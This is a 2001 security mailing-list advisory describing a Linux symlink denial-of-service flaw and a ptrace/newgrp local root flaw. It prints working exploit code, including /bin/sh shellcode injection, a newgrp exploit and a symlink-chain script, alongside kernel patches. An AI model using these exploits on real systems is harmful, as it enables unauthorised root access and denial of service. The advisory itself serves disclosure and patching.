[UNIX] Flaws Found in Recent Linux Kernels (newgrp, symblinks)

From: support@securiteam.com
Date: 10/22/01


From: support@securiteam.com
To: list@securiteam.com
Subject: [UNIX] Flaws Found in Recent Linux Kernels (newgrp, symblinks)
Message-Id: <20011022153247.846F6138C9@mail.der-keiler.de>
Date: Mon, 22 Oct 2001 17:32:47 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

When was the last time you checked your server's security?
How about a monthly report?
http://www.AutomatedScanning.com - Know that you're safe.
- - - - - - - - -

  Flaws Found in Recent Linux Kernels (newgrp, symblinks)
------------------------------------------------------------------------

SUMMARY

Two security vulnerabilities have been found in Linux due to incorrect
behavior by ptrace and symbolic links access. The symbolic link
vulnerability may lead to a denial of service attack and the other allows
execution of arbitrary code.

DETAILS

Local DoS via deep symlinks
An attacker can force the kernel to spend almost arbitrary amount of time
on dereferencing a single symlink, which prevents other processes from
running. The attached script, mklink.sh, takes a single parameter N. The
script creates 5 symlinks, each of them containing 2*N+1 path elements.
When N=3, the symlinks look this way:
$ ls -lG
drwxr-xr-x 2 nergal 4096 wrz 21 14:46 l
lrwxrwxrwx 1 nergal 53 wrz 21 14:46 l0 ->
l1/../l1/../l1/../l/../../../../../../../etc/services
lrwxrwxrwx 1 nergal 19 wrz 21 14:46 l1 -> l2/../l2/../l2/../l
lrwxrwxrwx 1 nergal 19 wrz 21 14:46 l2 -> l3/../l3/../l3/../l
lrwxrwxrwx 1 nergal 19 wrz 21 14:46 l3 -> l4/../l4/../l4/../l
lrwxrwxrwx 1 nergal 19 wrz 21 14:46 l4 -> l5/../l5/../l5/../l
drwxr-xr-x 2 nergal 4096 wrz 21 14:46 l5
drwxr-xr-x 2 rybagowa 4096 lut 27 1999 still_here

The amount of time the command "head l0" consumes (measured with time(1))
\follows:
N system time
10: sys 0m0.050s
20: sys 0m1.400s
30: sys 0m10.150s
40: sys 0m41.840s

When "head l0" is being executed, other processes are not scheduled to
run. Thus the possibility of local DoS (in case of SMP you may need to
spawn one mklink.sh process per CPU). The time spent on dereferencing "l0"
is proportional to the number of path elements in normalized "l0". So,
when N=120, the scheduler should be locked out for about three hours. One
can reach N=600, in case of 2.4.9; also in case of 2.4.9, one can create
even more (up to eight) levels of symlinks. 2.4.10 fixed this problem, but
not completely. Under 2.4.10 "head l0" command would not block the
scheduler, but it cannot be killed. The problem is fully solved in 2.4.12.

Root compromise by ptrace(3)
In order for this flaw to be exploitable, /usr/bin/newgrp must be setuid
root and world-executable. Additionally, newgrp, when run with no
arguments, should not prompt for password. This conditions are satisfied
in case of most popular Linux distributions (but not Openwall
GNU/*/Linux). Suppose the following flow of execution (initially, Process
1 and Process 2 are unprivileged):
Time Process 1 Process 2
0 ptrace(PTRACE_ATTACH, pid of Process 2,...)
1 execve /usr/bin/newgrp
2 execve /any/thing/suid
3 execve default user shell
4 execve ./insert_shellcode

The unexpected happens at moment 2. Process 2 is still traced, execve
/any/thing/suid succeed, and the setuid bit is honored. This is so
because:
1) The property of "having a ptrace-attached child" survives the execve
2) At moment 2, the tracer (process 1) has CAP_SYS_PTRACE set (it has all
root privileges) therefore it is allowed to trace even execve of setuid
binary. In moment 3, newgrp executes a shell, which is a usual behavior.
This shell is still able to control the process 2 with ptrace. Therefore,
the "./insert_shellcode" binary is able to insert arbitrary code into the
address space of Process 2. Game over.

In order to exploit this kernel vulnerability, one needs a setuid root
binary which execs a user-defined binary (or a shell). Newgrp is
appropriate on most distributions. On the default installation of
Slackware it does not work (the password fields in /etc/group are empty,
and newgrp demands a password). However, one can use "su" on this
distribution. "su" binary is compiled without PAM support on Slackware,
therefore it execs an user shell.

Do you remember the exploit against *BSD procfs, published in January 2000
( <http://www.securiteam.com/exploits/5RP0A000EA.html>
http://www.securiteam.com/exploits/5RP0A000EA.html)? This one is very
similar; a setuid binary is spawned so that the system treats it as a
tracing process. Observe that in case of newgrp, only CAP_SYS_SETGID is
required (plus probably some reserved egid E to read gshadow; provided
that gshadow would be readable by gid E). If the file system supported
granting capabilities to programs (not only +s bit), this bug could have
been benign.

Similarly, "su" needs only CAP_SYS_SETUID+CAP_SYS_SETGID (and egid
shadow). The "least privilege" rule, strictly applied, can save from a lot
of unexpected trouble. This bug seems to be Linux-specific.

Vendor status:
The kernel developers were notified on 18th September. vendor-sec at lists
dot de was notified on 9th October.

Availability of patches.:
2.4.12 kernel fixes both presented problems. The attached patches,
2.2.19-deep-symlink.patch and 2.2.19-ptrace.patch, both blessed by Linus,
can be used to close the vulnerability in 2.2.19. The (updated)

Openwall GNU/*/Linux kernel patches can be retrieved from
<http://www.openwall.com/linux/> http://www.openwall.com/linux/
Note that the default Owl installation is not vulnerable to the ptrace bug
described.

The exploits:
The attached mklink.sh script creates malicious symlinks. ptrace-exp.c and
insert_shellcode.c exploit the ptrace bug on i386 architecture. You will
probably need to adjust #define in the latter. Note that ptrace-exp uses
LD_DEBUG variable to force a setuid program to generate output. This
technique (stderr redirected to a pipe, LD_DEBUG set, especially
LD_DEBUG=symbols) allows for forced suspending of a setuid binary in a
precisely determined moments, which may be helpful to build exploits which
rely on race-conditions. And finally, notice that under Owl LD_DEBUG is
ignored in case of suid binaries.

--- insert_shellcode.c ---
/* by Nergal */
#include <stdio.h>
#include <sys/ptrace.h>
struct user_regs_struct {
  long ebx, ecx, edx, esi, edi, ebp, eax;
  unsigned short ds, __ds, es, __es;
  unsigned short fs, __fs, gs, __gs;
  long orig_eax, eip;
  unsigned short cs, __cs;
  long eflags, esp;
  unsigned short ss, __ss;
};
/* spiritual black dimension */

char hellcode[] =
"\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

#define ADDR 0x00125000
main(int argc, char **argv)
{
  int status;
  int i, wpid, pid = atoi(argv[1]);
  struct user_regs_struct regs;
  if (ptrace(PTRACE_GETREGS, pid, 0, &regs)) {
    perror("PTRACE_GETREGS");
    exit(0);
  }
  regs.eip = ADDR;
  if (ptrace(PTRACE_SETREGS, pid, 0, &regs))
    exit(0);
  for (i = 0; i <= strlen(hellcode) + 5; i += 4)
    ptrace(PTRACE_POKETEXT, pid, ADDR + i,
    *(unsigned int *) (hellcode + i));
  // kill (pid, SIGSTOP);
  if (ptrace(PTRACE_DETACH, pid, 0, 0))
    exit(0);
  close(2);
  do {
    wpid = waitpid(-1, &status, 0);
    if (wpid == -1) {
      perror("waitpid");
      exit(1);
    }
  } while (wpid != pid);
}

--- ptrace-exp.c ---
/* by Nergal */
#include <stdio.h>
#include <sys/ptrace.h>
#include <fcntl.h>
#include <sys/ioctl.h>
void ex_passwd(int fd)
{
  char z;
  if (read(fd, &z, 1) <= 0) {
    perror("read:");
    exit(1);
  }
  execl("/usr/bin/passwd", "passwd", 0);
  perror("execl");
  exit(1);
}
void insert(int pid)
{
  char buf[100];
  char *ptr = buf;
  sprintf(buf, "exec ./insert_shellcode %i\n", pid);
  while (*ptr && !ioctl(0, TIOCSTI, ptr++));
}

main(int argc, char **argv)
{
  int res, fifo;
  int status;
  int pid, n;
  int pipa[2];
  char buf[1024];
  pipe(pipa);
  switch (pid = fork()) {
  case -1:
    perror("fork");
    exit(1);
  case 0:
    close(pipa[1]);
    ex_passwd(pipa[0]);
  default:;
  }
  
  
  res = ptrace(PTRACE_ATTACH, pid, 0, 0);
  if (res) {
    perror("attach");
    exit(1);
  }
  res = waitpid(-1, &status, 0);
  if (res == -1) {
    perror("waitpid");
    exit(1);
  }
  res = ptrace(PTRACE_CONT, pid, 0, 0);
  if (res) {
    perror("cont");
    exit(1);
  }
  fprintf(stderr, "attached\n");
  switch (fork()) {
  case -1:
    perror("fork");
    exit(1);
  case 0:
    close(pipa[1]);
    sleep(1);
    insert(pid);
    do {
      n = read(pipa[0], buf, sizeof(buf));
    } while (n > 0);
    if (n < 0)
      perror("read");
    exit(0);
  default:;
  }
  close(pipa[0]);
  
  dup2(pipa[1], 2);
  close(pipa[1]);
  /* Decrystallizing reason */
  setenv("LD_DEBUG", "libs", 1);
  /* With strength I burn */
  execl("/usr/bin/newgrp", "newgrp", 0);
}

--- mklink.sh ---
#!/bin/sh
# by Nergal
mklink()
{
IND=$1
NXT=$(($IND+1))
EL=l$NXT/../
P=""
I=0
while [ $I -lt $ELNUM ] ; do
        P=$P"$EL"
        I=$(($I+1))
done
ln -s "$P"l$2 l$IND
}

#main program

if [ $# != 1 ] ; then
        echo A numerical argument is required.
        exit 0
fi

ELNUM=$1

mklink 4
mklink 3
mklink 2
mklink 1
mklink 0 /../../../../../../../etc/services
mkdir l5
mkdir l

Patches:
--- linux-2.2.19/fs/namei.c.orig Wed Oct 10 09:31:37 2001
+++ linux-2.2.19/fs/namei.c Wed Oct 10 10:30:56 2001
@@ -277,6 +277,15 @@
     result->d_op->d_revalidate(result, flags);
   return result;
 }
+/*
+ * Yes, this really increments the link_count by 5, and
+ * decrements it by 4. Together with checking against 25,
+ * this limits recursive symlink follows to 5, while
+ * limiting consecutive symlinks to 25.
+ *
+ * Without that kind of total limit, nasty chains of consecutive
+ * symlinks can cause almost arbitrarily long lookups.
+ */
 
 static struct dentry * do_follow_link(struct dentry *base, struct dentry
*dentry, unsigned int follow)
 {
@@ -284,13 +293,17 @@
 
   if ((follow & LOOKUP_FOLLOW)
       && inode && inode->i_op && inode->i_op->follow_link) {
- if (current->link_count < 5) {
+ if (current->link_count < 25) {
       struct dentry * result;
 
- current->link_count++;
+ if (current->need_resched) {
+ current->state = TASK_RUNNING;
+ schedule();
+ }
+ current->link_count += 5;
       /* This eats the base */
- result = inode->i_op->follow_link(dentry, base, follow);
- current->link_count--;
+ result = inode->i_op->follow_link(dentry, base,
follow|LOOKUP_INSYMLINK);
+ current->link_count -= 4;
       dput(dentry);
       return result;
     }
@@ -324,6 +337,8 @@
   struct dentry * dentry;
   struct inode *inode;
 
+ if (!(lookup_flags & LOOKUP_INSYMLINK))
+ current->link_count=0;
   if (*name == '/') {
     if (base)
       dput(base);
--- linux-2.2.19/include/linux/fs.h.orig Wed Oct 10 10:06:41 2001
+++ linux-2.2.19/include/linux/fs.h Wed Oct 10 10:07:58 2001
@@ -872,6 +872,7 @@
 #define LOOKUP_DIRECTORY (2)
 #define LOOKUP_SLASHOK (4)
 #define LOOKUP_CONTINUE (8)
+#define LOOKUP_INSYMLINK (16)
 
 extern struct dentry * lookup_dentry(const char *, struct dentry *,
unsigned int);
 extern struct dentry * __namei(const char *, unsigned int);

diff -urP linux-2.2.19/fs/exec.c linux/fs/exec.c
--- linux-2.2.19/fs/exec.c Mon Mar 26 07:13:23 2001
+++ linux/fs/exec.c Tue Oct 9 05:00:50 2001
@@ -552,12 +645,11 @@
 }
 
 /*
- * We mustn't allow tracing of suid binaries, unless
- * the tracer has the capability to trace anything..
+ * We mustn't allow tracing of suid binaries, no matter what.
  */
 static inline int must_not_trace_exec(struct task_struct * p)
 {
- return (p->flags & PF_PTRACED) && !cap_raised(p->p_pptr->cap_effective,
CAP_SYS_PTRACE);
+ return (p->flags & PF_PTRACED);
 }
 
 /*

ADDITIONAL INFORMATION

The information has been provided by <mailto:nergal@7bulls.com> Rafal
Wojtczuk.

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



Relevant Pages